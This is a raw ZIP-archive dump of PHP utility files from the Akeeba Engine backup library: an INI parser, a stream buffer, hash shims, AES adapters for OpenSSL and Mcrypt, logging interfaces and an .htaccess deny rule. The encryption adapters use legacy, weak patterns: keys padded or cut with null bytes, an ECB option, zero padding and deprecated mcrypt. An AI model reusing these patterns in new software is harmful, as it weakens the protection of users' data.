 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * A utility class to parse INI files.
 *
 * This is marked deprecated since Akeeba Engine 6.4.1. The configuration of the engine is no longer stored as INI data.
 * Moreover, we will be migrating away from the current INI files used for defining engine and GUI configuration
 * parameters.
 *
 * @package     Akeeba\Engine\Util
 *
 * @deprecated  6.4.1
 */
abstract class ParseIni
{
	/**
	 * Parse an INI file and return an associative array. This monstrosity is required because some so-called hosts
	 * have disabled PHP's parse_ini_file() function for "security reasons". Apparently their blatant ignorance doesn't
	 * allow them to discern between the innocuous parse_ini_file and the potentially dangerous ini_set, leading them to
	 * disable the former and let the latter enabled.
	 *
	 * @param   string  $file              The file name or raw INI data to process
	 * @param   bool    $process_sections  True to also process INI sections
	 * @param   bool    $rawdata           Is this raw INI data? False when $file is a filepath.
	 * @param   bool    $forcePHP          Should I force the use of the pure-PHP INI file parser?
	 *
	 * @return   array    An associative array of sections, keys and values
	 */
	public static function parse_ini_file($file, $process_sections = false, $rawdata = false, $forcePHP = false)
	{
		/**
		 * WARNING: DO NOT USE INI_SCANNER_RAW IN THE parse_ini_string / parse_ini_file FUNCTION CALLS WITHOUT POST-
		 *          PROCESSING!
		 *
		 * Sometimes we need to save data which is either multiline or has double quotes in the Engine's
		 * configuration. For this reason we have to manually escape \r, \n, \t and \" in
		 * Akeeba\Engine\Configuration::dumpObject(). If we don't we end up with multiline INI values which
		 * won't work. However, if we are using INI_SCANNER_RAW these characters are not escaped back to their
		 * original form. As a result we end up with broken data which cause various problems, the most visible
		 * of which is that Google Storage integration is broken since the JSON data included in the config is
		 * now unparseable.
		 *
		 * However, not using raw mode introduces other problems. For example, the sequence \$ is converted to $ because
		 * it's assumed to be an escaped dollar sign. Things like $foo are addressed as variable interpolation, i.e.
		 * "This is ${foo} wrong" results in "This is  wrong" because $foo is considered as an interpolated variable.
		 *
		 * The solution to that is to use raw mode to parse the INI files and THEN unescape the variables. However, we
		 * cannot simply use stripslashes/stripcslashes because we could end up replacing more than we should (unlike
		 * addcslashes we cannot specify a list of escaped characters to consider). We have to do a slower string
		 * replace instead.
		 *
		 * The next problem to consider is that when $process_sections is true some of the values generated are arrays
		 * or even nested arrays. If you try to string replace on them hilarity ensues. Therefore we have the recursive
		 * unescape method which takes care of that. To make things faster and maintain the array keys we use array_map
		 * to apply recursiveUnescape to the array.
		 */

		if ($rawdata)
		{
			if (!function_exists('parse_ini_string'))
			{
				return self::parse_ini_file_php($file, $process_sections, $rawdata);
			}

			// !!! VERY IMPORTANT !!! Read the warning above before touching this line
			return array_map([
				__CLASS__, 'recursiveUnescape',
			], parse_ini_string($file, $process_sections, INI_SCANNER_RAW));
		}

		if (!function_exists('parse_ini_file'))
		{
			return self::parse_ini_file_php($file, $process_sections);
		}

		// !!! VERY IMPORTANT !!! Read the warning above before touching this line
		return array_map([__CLASS__, 'recursiveUnescape'], parse_ini_file($file, $process_sections, INI_SCANNER_RAW));
	}

	/**
	 * Recursively unescape values which have been escaped by Akeeba\Engine\Configuration::dumpObject().
	 *
	 * @param   string|array  $value
	 *
	 * @return  string|array  Unescaped result
	 */
	static function recursiveUnescape($value)
	{
		if (is_array($value))
		{
			return array_map([__CLASS__, 'recursiveUnescape'], $value);
		}

		return str_replace(['\r', '\n', '\t', '\"'], ["\r", "\n", "\t", '"'], $value);
	}

	/**
	 * A PHP based INI file parser.
	 *
	 * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on
	 * the parse_ini_file page on http://gr.php.net/parse_ini_file
	 *
	 * @param   string  $file              Filename to process
	 * @param   bool    $process_sections  True to also process INI sections
	 * @param   bool    $rawdata           If true, the $file contains raw INI data, not a filename
	 *
	 * @return    array    An associative array of sections, keys and values
	 */
	static function parse_ini_file_php($file, $process_sections = false, $rawdata = false)
	{
		$process_sections = ($process_sections !== true) ? false : true;

		if (!$rawdata)
		{
			$ini = file($file);
		}
		else
		{
			$file = str_replace("\r", "", $file);
			$ini  = explode("\n", $file);
		}

		if (!is_array($ini))
		{
			return [];
		}

		if (count($ini) == 0)
		{
			return [];
		}

		$sections = [];
		$values   = [];
		$result   = [];
		$globals  = [];
		$i        = 0;
		foreach ($ini as $line)
		{
			$line = trim($line);
			$line = str_replace("\t", " ", $line);

			// Comments
			if (!preg_match('/^[a-zA-Z0-9[]/', $line))
			{
				continue;
			}

			// Sections
			if ($line[0] == '[')
			{
				$tmp        = explode(']', $line);
				$sections[] = trim(substr($tmp[0], 1));
				$i++;
				continue;
			}

			// Key-value pair
			$lineParts = explode('=', $line, 2);
			if (count($lineParts) != 2)
			{
				continue;
			}
			$key   = trim($lineParts[0]);
			$value = trim($lineParts[1]);
			unset($lineParts);

			if (strstr($value, ";"))
			{
				$tmp = explode(';', $value);
				if (count($tmp) == 2)
				{
					if ((($value[0] != '"') && ($value[0] != "'")) ||
						preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) ||
						preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value)
					)
					{
						$value = $tmp[0];
					}
				}
				else
				{
					if ($value[0] == '"')
					{
						$value = preg_replace('/^"(.*)".*/', '$1', $value);
					}
					elseif ($value[0] == "'")
					{
						$value = preg_replace("/^'(.*)'.*/", '$1', $value);
					}
					else
					{
						$value = $tmp[0];
					}
				}
			}
			$value = trim($value);
			$value = trim($value, "'\"");

			if ($i == 0)
			{
				if (substr($line, -1, 2) == '[]')
				{
					$globals[$key][] = $value;
				}
				else
				{
					$globals[$key] = $value;
				}
			}
			else
			{
				if (substr($line, -1, 2) == '[]')
				{
					$values[$i - 1][$key][] = $value;
				}
				else
				{
					$values[$i - 1][$key] = $value;
				}
			}
		}

		for ($j = 0; $j < $i; $j++)
		{
			if ($process_sections === true)
			{
				if (isset($sections[$j]) && isset($values[$j]))
				{
					$result[$sections[$j]] = $values[$j];
				}
			}
			else
			{
				if (isset($values[$j]))
				{
					$result[] = $values[$j];
				}
			}
		}

		return $result + $globals;
	}
}
PK     \G    +  vendor/akeeba/engine/engine/Util/Buffer.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * Generic Buffer stream handler
 *
 * This class provides a generic buffer stream.  It can be used to store/retrieve/manipulate
 * string buffers with the standard PHP filesystem I/O methods.
 */
class Buffer
{

	/**
	 * Stream position
	 *
	 * @var    integer
	 */
	public $position = 0;

	/**
	 * Buffer name
	 *
	 * @var    string
	 */
	public $name = null;

	/**
	 * Buffer hash
	 *
	 * @var    array
	 */
	public $_buffers = [];

	/**
	 * Function to open file or url
	 *
	 * @param   string   $path          The URL that was passed
	 * @param   string   $mode          Mode used to open the file @see fopen
	 * @param   integer  $options       Flags used by the API, may be STREAM_USE_PATH and
	 *                                  STREAM_REPORT_ERRORS
	 * @param   string  &$opened_path   Full path of the resource. Used with STREAM_USE_PATH option
	 *
	 * @return  boolean
	 *
	 * @see     streamWrapper::stream_open
	 */
	public function stream_open($path, $mode, $options, &$opened_path)
	{
		$url                         = parse_url($path);
		$this->name                  = $url["host"];
		$this->_buffers[$this->name] = null;
		$this->position              = 0;

		return true;
	}

	/**
	 * Read stream
	 *
	 * @param   integer  $count  How many bytes of data from the current position should be returned.
	 *
	 * @return  mixed    The data from the stream up to the specified number of bytes (all data if
	 *                   the total number of bytes in the stream is less than $count. Null if
	 *                   the stream is empty.
	 *
	 * @see     streamWrapper::stream_read
	 */
	public function stream_read($count)
	{
		$ret            = substr($this->_buffers[$this->name], $this->position, $count);
		$this->position += strlen($ret);

		return $ret;
	}

	/**
	 * Write stream
	 *
	 * @param   string  $data  The data to write to the stream.
	 *
	 * @return  integer
	 *
	 * @see     streamWrapper::stream_write
	 */
	public function stream_write($data)
	{
		$left                        = substr($this->_buffers[$this->name], 0, $this->position);
		$right                       = substr($this->_buffers[$this->name], $this->position + strlen($data));
		$this->_buffers[$this->name] = $left . $data . $right;
		$this->position              += strlen($data);

		return strlen($data);
	}

	/**
	 * Function to get the current position of the stream
	 *
	 * @return  integer
	 *
	 * @see     streamWrapper::stream_tell
	 */
	public function stream_tell()
	{
		return $this->position;
	}

	/**
	 * Function to test for end of file pointer
	 *
	 * @return  boolean  True if the pointer is at the end of the stream
	 *
	 * @see     streamWrapper::stream_eof
	 */
	public function stream_eof()
	{
		return $this->position >= strlen($this->_buffers[$this->name]);
	}

	/**
	 * The read write position updates in response to $offset and $whence
	 *
	 * @param   integer  $offset   The offset in bytes
	 * @param   integer  $whence   Position the offset is added to
	 *                             Options are SEEK_SET, SEEK_CUR, and SEEK_END
	 *
	 * @return  boolean  True if updated
	 *
	 * @see     streamWrapper::stream_seek
	 */
	public function stream_seek($offset, $whence)
	{
		switch ($whence)
		{
			case SEEK_SET:
				if ($offset < strlen($this->_buffers[$this->name]) && $offset >= 0)
				{
					$this->position = $offset;

					return true;
				}
				else
				{
					return false;
				}
				break;

			case SEEK_CUR:
				if ($offset >= 0)
				{
					$this->position += $offset;

					return true;
				}
				else
				{
					return false;
				}
				break;

			case SEEK_END:
				if (strlen($this->_buffers[$this->name]) + $offset >= 0)
				{
					$this->position = strlen($this->_buffers[$this->name]) + $offset;

					return true;
				}
				else
				{
					return false;
				}
				break;

			default:
				return false;
		}
	}
}

// Register the stream
stream_wrapper_register("buffer", Buffer::class);
PK     \]'  '  .  vendor/akeeba/engine/engine/Util/HashTrait.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

/**
 * PHP 8.4+ workaround for standalone MD5 and SHA-1 functions.
 *
 * PHP 8.4 deprecates the standalone md5(), md5_file(), sha1(), and sha1_file() functions. This trait creates shims
 * which use the hash() and hash_file() functions instead where available.
 *
 * IMPORTANT! PHP 7.4 made the ext/hash extension mandatory. These shims are here only as a backwards compatibility aid.
 * Eventually, we need to remove them, replacing their use by the direct use of hash() and hash_file().
 *
 * @deprecated 10.0
 */
trait HashTrait
{
	/**
	 * @deprecated 10.0 Use hash() instead
	 */
	private static function md5($string, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('md5', hash_algos());
		}

		return $shouldUseHash ? hash('md5', $string, $binary) : md5($string, $binary);
	}

	/**
	 * @deprecated 10.0 Use hash() instead
	 */
	private static function sha1($string, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('sha1', hash_algos());
		}

		return $shouldUseHash ? hash('sha1', $string, $binary) : sha1($string, $binary);
	}

	/**
	 * @deprecated 10.0 Use hash_file() instead
	 */
	private static function md5_file($filename, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('md5', hash_algos());
		}

		return $shouldUseHash ? hash_file('md5', $filename, $binary) : md5_file($filename, $binary);
	}

	/**
	 * @deprecated 10.0 Use hash_file() instead
	 */
			private static function sha1_file($filename, $binary = false)
	{
		static $shouldUseHash = null;

		if ($shouldUseHash === null)
		{
			$shouldUseHash = function_exists('hash')
			                 && function_exists('hash_algos')
			                 && in_array('sha1', hash_algos());
		}

		return $shouldUseHash ? hash_file('sha1', $filename, $binary) : sha1_file($filename, $binary);
	}
}PK     \Mg  g  7  vendor/akeeba/engine/engine/Util/AesAdapter/OpenSSL.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Util\RandomValue;

class OpenSSL extends AbstractAdapter implements AdapterInterface
{
	/**
	 * The OpenSSL options for encryption / decryption
	 *
	 * @var  int
	 */
	protected $openSSLOptions = 0;

	/**
	 * The encryption method to use
	 *
	 * @var  string
	 */
	protected $method = 'aes-128-cbc';

	public function __construct()
	{
		$this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING;
	}

	public function setEncryptionMode($mode = 'cbc', $strength = 128)
	{
		static $availableAlgorithms = null;
		static $defaultAlgo = 'aes-128-cbc';

		if (!is_array($availableAlgorithms))
		{
			$availableAlgorithms = openssl_get_cipher_methods();

			foreach ([
				         'aes-256-cbc', 'aes-256-ecb', 'aes-192-cbc',
				         'aes-192-ecb', 'aes-128-cbc', 'aes-128-ecb',
			         ] as $algo)
			{
				if (in_array($algo, $availableAlgorithms))
				{
					$defaultAlgo = $algo;
					break;
				}
			}
		}

		$strength = (int) $strength;
		$mode     = strtolower($mode);

		if (!in_array($strength, [128, 192, 256]))
		{
			$strength = 256;
		}

		if (!in_array($mode, ['cbc', 'ebc']))
		{
			$mode = 'cbc';
		}

		$algo = 'aes-' . $strength . '-' . $mode;

		if (!in_array($algo, $availableAlgorithms))
		{
			$algo = $defaultAlgo;
		}

		$this->method = $algo;
	}

	public function encrypt($plainText, $key, $iv = null)
	{
		$iv_size = $this->getBlockSize();
		$key     = $this->resizeKey($key, $iv_size);
		$iv      = $this->resizeKey($iv, $iv_size);

		if (empty($iv))
		{
			$randVal = new RandomValue();
			$iv      = $randVal->generate($iv_size);
		}

		$plainText  .= $this->getZeroPadding($plainText, $iv_size);
		$cipherText = openssl_encrypt($plainText, $this->method, $key, $this->openSSLOptions, $iv);
		$cipherText = $iv . $cipherText;

		return $cipherText;
	}

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = openssl_decrypt($cipherText, $this->method, $key, $this->openSSLOptions, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('openssl_get_cipher_methods'))
		{
			return false;
		}

		if (!function_exists('openssl_random_pseudo_bytes'))
		{
			return false;
		}

		if (!function_exists('openssl_cipher_iv_length'))
		{
			return false;
		}

		if (!function_exists('openssl_encrypt'))
		{
			return false;
		}

		if (!function_exists('openssl_decrypt'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = openssl_get_cipher_methods();

		if (!in_array('aes-128-cbc', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	/**
	 * @return int
	 */
	public function getBlockSize()
	{
		return openssl_cipher_iv_length($this->method);
	}
}
PK     \P    6  vendor/akeeba/engine/engine/Util/AesAdapter/Mcrypt.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Util\RandomValue;

class Mcrypt extends AbstractAdapter implements AdapterInterface
{
	protected $cipherType = MCRYPT_RIJNDAEL_128;

	protected $cipherMode = MCRYPT_MODE_CBC;

	public function setEncryptionMode($mode = 'cbc', $strength = 128)
	{
		switch ((int) $strength)
		{
			default:
			case '128':
				$this->cipherType = MCRYPT_RIJNDAEL_128;
				break;

			case '192':
				$this->cipherType = MCRYPT_RIJNDAEL_192;
				break;

			case '256':
				$this->cipherType = MCRYPT_RIJNDAEL_256;
				break;
		}

		switch (strtolower($mode))
		{
			case 'ecb':
				$this->cipherMode = MCRYPT_MODE_ECB;
				break;

			default:
			case 'cbc':
				$this->cipherMode = MCRYPT_MODE_CBC;
				break;
		}

	}

	public function encrypt($plainText, $key, $iv = null)
	{
		$iv_size = $this->getBlockSize();
		$key     = $this->resizeKey($key, $iv_size);
		$iv      = $this->resizeKey($iv, $iv_size);

		if (empty($iv))
		{
			$randVal = new RandomValue();
			$iv      = $randVal->generate($iv_size);
		}

		$cipherText = mcrypt_encrypt($this->cipherType, $key, $plainText, $this->cipherMode, $iv);
		$cipherText = $iv . $cipherText;

		return $cipherText;
	}

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = mcrypt_decrypt($this->cipherType, $key, $cipherText, $this->cipherMode, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('mcrypt_get_key_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_get_iv_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_create_iv'))
		{
			return false;
		}

		if (!function_exists('mcrypt_encrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_decrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_list_algorithms'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = mcrypt_list_algorithms();

		if (!in_array('rijndael-128', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-192', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-256', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	public function getBlockSize()
	{
		return mcrypt_get_iv_size($this->cipherType, $this->cipherMode);
	}
}
PK     \k	  	  ?  vendor/akeeba/engine/engine/Util/AesAdapter/AbstractAdapter.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

/**
 * Abstract AES encryption class
 */
abstract class AbstractAdapter
{
	/**
	 * Trims or zero-pads a key / IV
	 *
	 * @param   string  $key   The key or IV to treat
	 * @param   int     $size  The block size of the currently used algorithm
	 *
	 * @return  null|string  Null if $key is null, treated string of $size byte length otherwise
	 */
	public function resizeKey($key, $size)
	{
		if (empty($key))
		{
			return null;
		}

		$keyLength = strlen($key);

		if (function_exists('mb_strlen'))
		{
			$keyLength = mb_strlen($key, 'ASCII');
		}

		if ($keyLength == $size)
		{
			return $key;
		}

		if ($keyLength > $size)
		{
			if (function_exists('mb_substr'))
			{
				return mb_substr($key, 0, $size, 'ASCII');
			}

			return substr($key, 0, $size);
		}

		return $key . str_repeat("\0", ($size - $keyLength));
	}

	/**
	 * Returns null bytes to append to the string so that it's zero padded to the specified block size
	 *
	 * @param   string  $string     The binary string which will be zero padded
	 * @param   int     $blockSize  The block size
	 *
	 * @return  string  The zero bytes to append to the string to zero pad it to $blockSize
	 */
	protected function getZeroPadding($string, $blockSize)
	{
		$stringSize = strlen($string);

		if (function_exists('mb_strlen'))
		{
			$stringSize = mb_strlen($string, 'ASCII');
		}

		if ($stringSize == $blockSize)
		{
			return '';
		}

		if ($stringSize < $blockSize)
		{
			return str_repeat("\0", $blockSize - $stringSize);
		}

		$paddingBytes = $stringSize % $blockSize;

		return str_repeat("\0", $blockSize - $paddingBytes);
	}
}
PK     \n    @  vendor/akeeba/engine/engine/Util/AesAdapter/AdapterInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\AesAdapter;

defined('AKEEBAENGINE') || die();

/**
 * Interface for AES encryption adapters
 */
interface AdapterInterface
{
	/**
	 * Sets the AES encryption mode.
	 *
	 * WARNING: The strength is deprecated as it has a different effect in MCrypt and OpenSSL. MCrypt was abandoned in
	 * 2003 before the Rijndael-128 algorithm was officially the Advanced Encryption Standard (AES). MCrypt also offered
	 * Rijndael-192 and Rijndael-256 algorithms with different block sizes. These are NOT used in AES. OpenSSL, however,
	 * implements AES correctly. It always uses a 128-bit (16 byte) block. The 192 and 256 bit strengths refer to the
	 * key size, not the block size. Therefore using different strengths in MCrypt and OpenSSL will result in different
	 * and incompatible ciphertexts.
	 *
	 * TL;DR: Always use $strength = 128!
	 *
	 * @param   string  $mode      Choose between CBC (recommended) or ECB
	 * @param   int     $strength  Bit strength of the key (128, 192 or 256 bits). DEPRECATED. READ NOTES ABOVE.
	 *
	 * @return  mixed
	 */
	public function setEncryptionMode($mode = 'cbc', $strength = 128);

	/**
	 * Encrypts a string. Returns the raw binary ciphertext.
	 *
	 * WARNING: The plaintext is zero-padded to the algorithm's block size. You are advised to store the size of the
	 * plaintext and trim the string to that length upon decryption.
	 *
	 * @param   string       $plainText  The plaintext to encrypt
	 * @param   string       $key        The raw binary key (will be zero-padded or chopped if its size is different than the block size)
	 * @param   null|string  $iv         The initialization vector (for CBC mode algorithms)
	 *
	 * @return  string  The raw encrypted binary string.
	 */
	public function encrypt($plainText, $key, $iv = null);

	/**
	 * Decrypts a string. Returns the raw binary plaintext.
	 *
	 * $ciphertext MUST start with the IV followed by the ciphertext, even for EBC data (the first block of data is
	 * dropped in EBC mode since there is no concept of IV in EBC).
	 *
	 * WARNING: The returned plaintext is zero-padded to the algorithm's block size during encryption. You are advised
	 * to trim the string to the original plaintext's length upon decryption. While rtrim($decrypted, "\0") sounds
	 * appealing it's NOT the correct approach for binary data (zero bytes may actually be part of your plaintext, not
	 * just padding!).
	 *
	 * @param   string  $cipherText  The ciphertext to encrypt
	 * @param   string  $key         The raw binary key (will be zero-padded or chopped if its size is different than the block size)
	 *
	 * @return  string  The raw unencrypted binary string.
	 */
	public function decrypt($cipherText, $key);

	/**
	 * Returns the encryption block size in bytes
	 *
	 * @return  int
	 */
	public function getBlockSize();

	/**
	 * Is this adapter supported?
	 *
	 * @return  bool
	 */
	public function isSupported();
}
PK     \Sʉ      5  vendor/akeeba/engine/engine/Util/AesAdapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \qn  n  5  vendor/akeeba/engine/engine/Util/Log/LogInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Log;

defined('AKEEBAENGINE') || die();

/**
 * The interface for Akeeba Engine logger objects
 */
interface LogInterface
{
	/**
	 * Open a new log instance with the specified tag. If another log is already open it is closed before switching to
	 * the new log tag. If the tag is null use the default log defined in the logging system.
	 *
	 * @param   string|null  $tag        The log to open
	 * @param   string       $extension  The log file extension (default: .php, use empty string for .log files)
	 *
	 * @return void
	 */
	public function open($tag = null, $extension = '.php');

	/**
	 * Close the currently active log and set the current tag to null.
	 *
	 * @return  void
	 */
	public function close();

	/**
	 * Reset (remove entries) of the log with the specified tag.
	 *
	 * @param   string|null  $tag  The log to reset
	 *
	 * @return  void
	 */
	public function reset($tag = null);

	/**
	 * Add a message to the log
	 *
	 * @param   string  $level    One of the Akeeba\Engine\Psr\Log\LogLevel constants
	 * @param   string  $message  The message to log
	 * @param   array   $context  Currently not used. Left here for PSR-3 compatibility.
	 *
	 * @return  void
	 */
	public function log($level, $message, array $context = []);

	/**
	 * Temporarily pause log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function pause();

	/**
	 * Resume the previously paused log output. The log() method MUST respect this.
	 *
	 * @return  void
	 */
	public function unpause();

	/**
	 * Returns the timestamp (in UNIX time long integer format) of the last log message written to the log with the
	 * specific tag. The timestamp MUST be read from the log itself, not from the logger object. It is used by the
	 * engine to find out the age of stalled backups which may have crashed.
	 *
	 * @param   string|null  $tag  The log tag for which the last timestamp is returned
	 *
	 * @return  int|null  The timestamp of the last log message, in UNIX time. NULL if we can't get the timestamp.
	 */
	public function getLastTimestamp($tag = null);
}
PK     \ށ    @  vendor/akeeba/engine/engine/Util/Log/WarningsLoggerInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Log;

defined('AKEEBAENGINE') || die();

interface WarningsLoggerInterface
{
	/**
	 * Returns an array with all warnings logged since the last time warnings were reset. The maximum number of warnings
	 * returned is controlled by setWarningsQueueSize().
	 *
	 * @return array
	 */
	public function getWarnings();

	/**
	 * Resets the warnings queue.
	 *
	 * @return void
	 */
	public function resetWarnings();

	/**
	 * A combination of getWarnings() and resetWarnings(). Returns the warnings and immediately resets the warnings
	 * queue.
	 *
	 * @return array
	 */
	public function getAndResetWarnings();

	/**
	 * Set the warnings queue size. A size of 0 means "no limit".
	 *
	 * @param   int  $queueSize  The size of the warnings queue (in number of warnings items)
	 *
	 * @return void
	 */
	public function setWarningsQueueSize($queueSize = 0);

	/**
	 * Returns the warnings queue size.
	 *
	 * @return int
	 */
	public function getWarningsQueueSize();
}
